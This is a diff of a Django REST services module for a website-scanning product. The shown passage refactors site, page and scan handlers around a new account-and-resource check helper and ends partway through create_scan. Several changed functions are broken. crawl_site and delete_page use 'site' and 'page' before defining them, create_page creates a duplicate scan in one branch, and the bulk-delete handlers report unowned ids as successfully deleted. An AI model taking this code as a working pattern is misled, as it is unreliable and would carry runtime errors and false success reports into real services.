+                        code = '404'
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+        
+        # checking automations
+        if resource == 'automation':
+            if automation_id:
+                if not Automation.objects.filter(id=automation_id, account=account).exists():
+                    allowed = False
+                    error = 'automation not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
         # checking testcases
         if resource == 'testcase':
-            if not account.testcases:
-                allowed = False
-                error = 'testcases not allowed, please upgrade'
-    
+            if not testcase_id:
+                if not account.testcases:
+                    allowed = False
+                    error = 'testcases not allowed, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+            if testcase_id:
+                if not Testcase.objects.filter(id=testcase_id, account=account).exists():
+                    allowed = False
+                    error = 'testcase not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if case_id:
+                if not Case.objects.filter(id=case_id, account=account).exists():
+                    allowed = False
+                    error = 'case not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            
+        # checking cases
+        if resource == 'case':
+            if case_id:
+                if not Case.objects.filter(id=case_id, account=account).exists():
+                    allowed = False
+                    error = 'case not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking scans
+        if resource == 'scan':
+            if scan_id:
+                if not Scan.objects.filter(id=scan_id, page__account=account).exists():
+                    allowed = False
+                    error = 'scan not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking tests
+        if resource == 'test':
+            if test_id:
+                if not Test.objects.filter(id=test_id, page__account=account).exists():
+                    allowed = False
+                    error = 'test not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+
+        # checking process
+        if resource == 'process':
+            if process_id:
+                if not Process.objects.filter(id=process_id, account=account).exists():
+                    allowed = False
+                    error = 'process not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking reports
+        if resource == 'report':
+            if report_id:
+                if not Report.objects.filter(id=report_id, account=account).exists():
+                    allowed = False
+                    error = 'report not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking logs
+        if resource == 'log':
+            if log_id:
+                if not Log.objects.filter(id=log_id, account=account).exists():
+                    allowed = False
+                    error = 'log not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            
     # returning data
     data = {
         'allowed': allowed,
-        'error': error 
+        'error': error, 
+        'status': _status,
+        'code': code
     }
     return data
-        
-
-    
 
 
 
+    
+### ------ Begin Site Services ------ ###
 
 
 
 
+def create_site(request: object, delay: bool=False) -> object:
+    """ 
+    Creates a new `Site`, initiates a Crawl, initial `Scans` 
+    for each added `Page`, and generates new `Cases`. 
 
+    Expects: {
+        request : object, 
+        delay   : bool
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def create_site(request, delay=False):
+    # getting data
     site_url = request.data.get('site_url')
     page_urls = request.data.get('page_urls')
     onboarding = request.data.get('onboarding', None)
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+    
+    # gettting account
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    # checking if in onboarding flow
     if onboarding is not None:
         if str(onboarding).lower() == 'true':
             onboarding = True
         if str(onboarding).lower() == 'false':
             onboarding = False
 
+    # clean & check site url
     if site_url.endswith('/'):
         site_url = site_url.rstrip('/')
-
     if site_url is None or site_url == '':
         data = {'reason': 'the site_url cannot be empty',}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    check_data = check_account(request=request, resource='site')
+    # check account and resource
+    check_data = check_account_and_resource(request=request, resource='site', action='add')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # creating site if checks passed
+    site = Site.objects.create(
+        site_url=site_url,
+        user=user,
+        tags=tags,
+        account=account
+    )
 
-    if sites.count() >= account.max_sites:
-        data = {'reason': 'maximum number of sites reached',}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+    # create process obj
+    process = Process.objects.create(
+        site=site,
+        type='case',
+        account=account,
+        progress=1
+    )
 
-    if Site.objects.filter(site_url=site_url, user=user).exists() and user.username != 'admin':
-        data = {'reason': 'site already exists',}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
-    else:
-        tags = request.data.get('tags', None)
-        configs = request.data.get('configs', settings.CONFIGS)
-        no_scan = request.data.get('no_scan', False)
-        site = Site.objects.create(
-            site_url=site_url,
-            user=user,
-            tags=tags,
-            account=account
-        )
+    # auto gen Cases using bg_autocase_task
+    create_auto_cases_bg.delay(
+        site_id=site.id,
+        process_id=process.id,
+        start_url=str(site.site_url),
+        configs=configs,
+        max_cases=3,
+        max_layers=8
+    )
+    
+    # check if this is account's first site and onboarding = True
+    if Site.objects.filter(account=account).count() == 1 \
+        and onboarding == True:
+        # send POST to landing/v1/ops/prospect
+        create_prospect.delay(user_email=str(user.email))
 
-        # create process obj
-        process = Process.objects.create(
-            site=site,
-            type='case',
-            account=account,
-            progress=1
-        )
+    # check if scan requested
+    if no_scan == False:
 
-        # auto gen Cases using bg_autocase_task
-        create_auto_cases_bg.delay(
-            site_id=site.id,
-            process_id=process.id,
-            start_url=str(site.site_url),
-            configs=configs,
-            max_cases=3,
-            max_layers=8
-        )
-        
-        # check if this is account's first site and onboarding = True
-        if Site.objects.filter(account=account).count() == 1 \
-            and onboarding == True:
-            # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user_email=str(user.email))
-
-        if no_scan == False:
-            if delay == True:
-                # adding pages passed in request
-                if page_urls is not None:
-                    for url in page_urls:
-                        if url.startswith(site.site_url):
-                            # add new page
-                            page = Page.objects.create(
-                                site=site,
-                                page_url=url,
-                                user=site.user,
-                                account=site.account,
-                            )
-                            create_scan(
-                                page_id=page.id, 
-                                configs=configs, 
-                                user_id=request.user.id,
-                                delay=True
-                            )
-                            site.time_crawl_started = datetime.now()
-                            site.time_crawl_completed = datetime.now()
-                            site.info["latest_scan"]["time_created"] = str(datetime.now())
-                            site.save()
-                else:
-                    create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
-               
+        # check if delay was requested
+        if delay == True:
+
+            # adding pages passed in request
+            if page_urls is not None:
+                for url in page_urls:
+                    if url.startswith(site.site_url):
+                        # add new page
+                        page = Page.objects.create(
+                            site=site,
+                            page_url=url,
+                            user=site.user,
+                            account=site.account,
+                        )
+                        # create scan
+                        create_scan(
+                            page_id=page.id, 
+                            configs=configs, 
+                            user_id=request.user.id,
+                            delay=True
+                        )
+                        site.time_crawl_started = datetime.now()
+                        site.time_crawl_completed = datetime.now()
+                        site.info["latest_scan"]["time_created"] = str(datetime.now())
+                        site.save()
+            
+            # starting crawler and scans in background
             else:
-                # running crawler
-                pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
-                for url in pages:
-                    # add new page
-                    page = Page.objects.create(
-                        site=site,
-                        page_url=url,
-                        user=site.user,
-                        account=site.account,
-                    )
-                    # create initial scan
-                    scan = Scan.objects.create(
-                        site=site,
-                        page=page, 
-                        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                        configs=configs
-                    )
-                    # run each scan component
-                    S(site=site, page=page, configs=configs).first_scan()
-                    page.info["latest_scan"]["id"] = str(scan.id)
-                    page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                    page.save()
+                create_site_and_pages_bg.delay(
+                    site_id=site.id, 
+                    configs=configs
+                )
+            
+        else:
+            # running crawler
+            pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
+            for url in pages:
+                # add new page
+                page = Page.objects.create(
+                    site=site,
+                    page_url=url,
+                    user=site.user,
+                    account=site.account,
+                )
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                # run each scan component
+                S(site=site, page=page, configs=configs).build_scan()
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
                 
+    # serialize response and return
+    serializer_context = {'request': request,}
+    serialized = SiteSerializer(site, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
 
-        serializer_context = {'request': request,}
-        serialized = SiteSerializer(site, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
 
 
+def crawl_site(request: object, id: str) -> object:
+    """ 
+    Initiates a new Crawl for the passed `Site`.id
 
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def crawl_site(request, id):
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    # setting configs
+    configs = request.data.get('configs', settings.CONFIGS)
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-    try:
-        site = Site.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if site.account != account:
-        data = {'reason': 'cannot crawl a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    configs = request.data.get('configs', None)
-    if not configs:
-        configs = settings.CONFIGS
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
     # update site info
     site.time_crawl_completed = None
     site.save()
 
+    # starting crawl
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
+    # serializing and returning
     serializer_context = {'request': request,}
     serialized = SiteSerializer(site, context=serializer_context)
     data = serialized.data
@@ -297,31 +550,48 @@ def crawl_site(request, id):
 
 
 
-def get_sites(request):
+def get_sites(request: object) -> object:
+    """ 
+    Get one or more `Sites` in paginated response
+
+    Expects: {
+        'request': object,
+    } 
+
+    Returns -> HTTP Response object
+    """
+
+    # getting request data
     site_id = request.query_params.get('site_id')
     user = request.user
-    account = Member.objects.get(user=user).account
 
+    # getting account
+    account = Member.objects.get(user=user).account
 
+    # check if site_id was passed
     if site_id != None:
+
+        # check account and resource
+        check_data = check_account_and_resource(request=request, site_id=site_id, resource='site')
+        if not check_data['allowed']:
+            data = {'reason': check_data['error'],}
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
         
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if site.account != account:
-            data = {'reason': 'cannot retrieve a Site you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        # get site if checks passed
+        site = Site.objects.get(id=site_id)
+
+        # serialize single site response and return
         serializer_context = {'request': request,}
         serialized = SiteSerializer(site, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     
+    # getting all account assoicated sites
     sites = Site.objects.filter(account=account).order_by('-time_created')
+
+    # serialize response and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(sites, request)
     serializer_context = {'request': request,}
@@ -333,21 +603,69 @@ def get_sites(request):
 
 
 
-def delete_site(request, id):
+def get_site(request: object, id: str) -> object:
+    """
+    Get single `Site` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
-    
-    try:
-        site = Site.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if site.account != account:
-        data = {'reason': 'delete a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        site_id=id, resource='site'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get site if checks passed
+    site = Site.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = SiteSerializer(site, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK) 
+
+
+
+
+def delete_site(request: object, id: str) -> object:
+    """ 
+    Deletes the `Site` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if checks passed
+    site = Site.objects.get(id=id)
 
     # remove s3 objects
     delete_site_s3_bg.delay(site_id=id)
@@ -358,7 +676,8 @@ def delete_site(request, id):
     # remove site
     site.delete()
 
-    data = {'message': 'Site has been deleted',}
+    # returning response
+    data = {'message': 'site deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -366,12 +685,29 @@ def delete_site(request, id):
 
 
 
-def delete_many_sites(request):
+def delete_many_sites(request: object) -> object:
+    """ 
+    Deletes one or more `Sites` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -380,20 +716,26 @@ def delete_many_sites(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 site = Site.objects.get(id=id)
                 if site.account == account:
                     delete_site_s3_bg.delay(site_id=id)
                     delete_tasks(site=site)
                     site.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format response
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -401,10 +743,13 @@ def delete_many_sites(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # returning error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -415,67 +760,88 @@ def delete_many_sites(request):
 
 
 
+### ------ Begin Page Services ------ ###
 
 
 
 
+def create_page(request: object, delay: bool=False) -> object:
+    """ 
+    Creates one or more pages.
 
+    Expcets: {
+        'requests': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def create_page(request, delay=False):
+    # getting request data
     site_id = request.data.get('site_id')
     page_url = request.data.get('page_url')
     page_urls = request.data.get('page_urls')
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+
+    # retrieving user, account, & site
     user = request.user
     account = Member.objects.get(user=user).account
     site = Site.objects.get(id=site_id)
-    pages = Page.objects.filter(site=site)
 
+    # creating many pages if page_urls was passed
     if page_urls is not None:
         data = create_many_pages(request=request, obj_response=False)
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
         return response
-
+    
+    # validating page_url
     if page_url.endswith('/'):
         page_url = page_url.rstrip('/')
-
     if page_url is None or page_url == '':
         data = {'reason': 'the page_url cannot be empty',}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    check_data = check_account(request=request, resource='page', site_id=site_id)
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, page_url=page_url,
+        action='add'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    if pages.count() >= account.max_pages:
-        data = {'reason': 'maximum number of pages reached',}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+    # adding page if checks passed
+    page = Page.objects.create(
+        site=site,
+        page_url=page_url,
+        user=user,
+        tags=tags,
+        account=account
+    )
 
-    if Page.objects.filter(page_url=page_url, user=user).exists():
-        data = {'reason': 'page already exists',}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
-    else:
-        tags = request.data.get('tags', None)
-        configs = request.data.get('configs', None)
-        no_scan = request.data.get('no_scan', False)
-        page = Page.objects.create(
+    # deciding on scan
+    if no_scan == False:
+
+        # create initial scan
+        scan = Scan.objects.create(
             site=site,
-            page_url=page_url,
-            user=user,
-            tags=tags,
-            account=account
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
         )
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
 
-        if not configs:
-            configs = settings.CONFIGS
-
-        if no_scan == False:
+        if delay == True:
+            # running scan in background
+            scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
+        else:
             # create initial scan
             scan = Scan.objects.create(
                 site=site,
@@ -483,57 +849,66 @@ def create_page(request, delay=False):
                 type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                 configs=configs
             )
+            # run each scan component
+            S(site=site, page=page, configs=configs).build_scan()
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+            
+    # serialize response and return
+    serializer_context = {'request': request,}
+    serialized = PageSerializer(page, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
 
-            if delay == True:
-                scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
-            else:
-                # create initial scan
-                scan = Scan.objects.create(
-                    site=site,
-                    page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                    configs=configs
-                )
-                # run each scan component
-                S(site=site, page=page, configs=configs).first_scan()
-                page.info["latest_scan"]["id"] = str(scan.id)
-                page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                page.save()
-                
 
-        serializer_context = {'request': request,}
-        serialized = PageSerializer(page, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
 
+def create_many_pages(request: object, obj_response: bool=False) -> object | dict:
+    """ 
+    Bulk creates `Pages` for each url passed in "page_urls"
 
+    Expcets: {
+        'request'       : object,
+        'obj_response'  : bool
+    }
 
+    Returns -> dict or HTTP Response object
+    """
 
-def create_many_pages(request, obj_response=False):
+    # get request data
     site_id = request.data.get('site_id')
     page_urls = request.data.get('page_urls')
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # get site and current pages
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
 
-    check_data = check_account(request=request, resource='page', site_id=site_id)
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, action='add'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # pre check for max_pages
     if (pages.count() + len(page_urls)) >= account.max_pages:
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
+    # setting defaults
     count = len(page_urls)
     num_succeeded = 0
     succeeded = []
@@ -541,17 +916,17 @@ def create_many_pages(request, obj_response=False):
     failed = []
     this_status = True
 
+    # looping through each "page_url"
     for url in page_urls:
 
+        # clean url
         if url.endswith('/'):
             url = url.rstrip('/')
 
+        # check for duplicates
         if not Page.objects.filter(page_url=url, user=user).exists():
             
             # adding pages
-            tags = request.data.get('tags', None)
-            configs = request.data.get('configs', None)
-            no_scan = request.data.get('no_scan', False)
             page = Page.objects.create(
                 site=site,
                 page_url=url,
@@ -560,9 +935,7 @@ def create_many_pages(request, obj_response=False):
                 account=account
             )
 
-            if not configs:
-                configs = settings.CONFIGS
-
+            # deciding on scan
             if no_scan == False:
 
                 # create initial scan
@@ -572,6 +945,8 @@ def create_many_pages(request, obj_response=False):
                     type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                     configs=configs
                 )
+                
+                # update page with new scan data
                 page.info["latest_scan"]["id"] = str(scan.id)
                 page.info["latest_scan"]["time_created"] = str(scan.time_created)
                 page.save()
@@ -589,6 +964,7 @@ def create_many_pages(request, obj_response=False):
             failed.append(url)
             num_failed = num_failed + 1
 
+    # formatting response
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -596,6 +972,8 @@ def create_many_pages(request, obj_response=False):
         'num_failed': num_failed,
         'failed': failed, 
     }
+
+    # decide on response type
     if obj_response:
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
@@ -605,55 +983,59 @@ def create_many_pages(request, obj_response=False):
 
 
 
+def get_pages(request: object) -> object:
+    """ 
+    Get one or more `Pages` from either 
+    "page_id" or "site_id"
 
-def get_pages(request):
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for params
     if page_id is None and site_id is None:
         data = {'reason': 'must provide a Site or Page id'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-
-    if site_id != None:
-        
-        try:
-            site = Site.objects.get(id=site_id)
-            print('got site')
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if site.account != account:
-            data = {'reason': 'cannot retrieve a Site you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-
-
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # getting single page
     if page_id != None:
         
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if page.account != account:
-            data = {'reason': 'cannot retrieve a Page you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        # get page
+        page = Page.objects.get(id=page_id)
 
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = PageSerializer(page, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    
+    # get site and assocaited pages
+    site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site).order_by('-time_created')
+
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(pages, request)
     serializer_context = {'request': request,}
@@ -665,24 +1047,69 @@ def get_pages(request):
 
 
 
-def delete_page(request, id):
+def get_page(request: object, id: str) -> object:
+    """
+    Get single `Page` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
-    
-    try:
-        page = Page.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Page with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if page.account != account:
-        data = {'reason': 'delete a Page you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        page_id=id, resource='page'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    # remove s3 objects
-    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+    # get page if checks passed
+    page = Page.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = PageSerializer(page, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK) 
+
+
+
+
+def delete_page(request: object, id: str) -> object:
+    """ 
+    Deletes the `Page` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+    
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, page_id=id, resource='page')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # remove s3 objects
+    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 
     # remove any schedules and associated tasks
     delete_tasks(page=page)
@@ -690,6 +1117,7 @@ def delete_page(request, id):
     # remove page
     page.delete()
 
+    # format and return
     data = {'message': 'Page has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -698,12 +1126,29 @@ def delete_page(request, id):
 
 
 
-def delete_many_pages(request):
+def delete_many_pages(request: object) -> object:
+    """ 
+    Deletes one or more `Pages` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -712,20 +1157,26 @@ def delete_many_pages(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 page = Page.objects.get(id=id)
                 if page.account == account:
                     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
                     delete_tasks(page=page)
                     page.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -733,10 +1184,13 @@ def delete_many_pages(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+        
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # returning error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -747,87 +1201,87 @@ def delete_many_pages(request):
 
 
 
+### ------ Begin Scan Services ------ ###
+
+
 
 
+def create_scan(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+    """ 
+    Create one or more `Scans` depanding on 
+    `Page` or `Site` scope
 
+    Expects: {
+        'request': object, 
+        'delay': bool
+    }
 
+    Returns -> dict or HTTP Response object
+    """
 
-def create_scan(request=None, delay=False, *args, **kwargs):
+    # get request data
     if request is not None:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
-        configs = request.data.get('configs')
+        configs = request.data.get('configs', settings.CONFIGS)
         types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
         tags = request.data.get('tags')
         user = request.user
+    
+    # getting kwargs data
     if request is None:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
-        configs = kwargs.get('configs')
+        configs = kwargs.get('configs', settings.CONFIGS)
         types = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
+    
+    # getting account
     account = Member.objects.get(user=user).account
 
-    if request is not None:
-        check_data = check_account(user=user, resource='scan')
-        if not check_data['allowed']:
-            data = {'reason': check_data['error'], 'success': False}
-            if request is not None:
-                record_api_call(request, data, '402')
-                return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-            return data
-
+    # verifying types
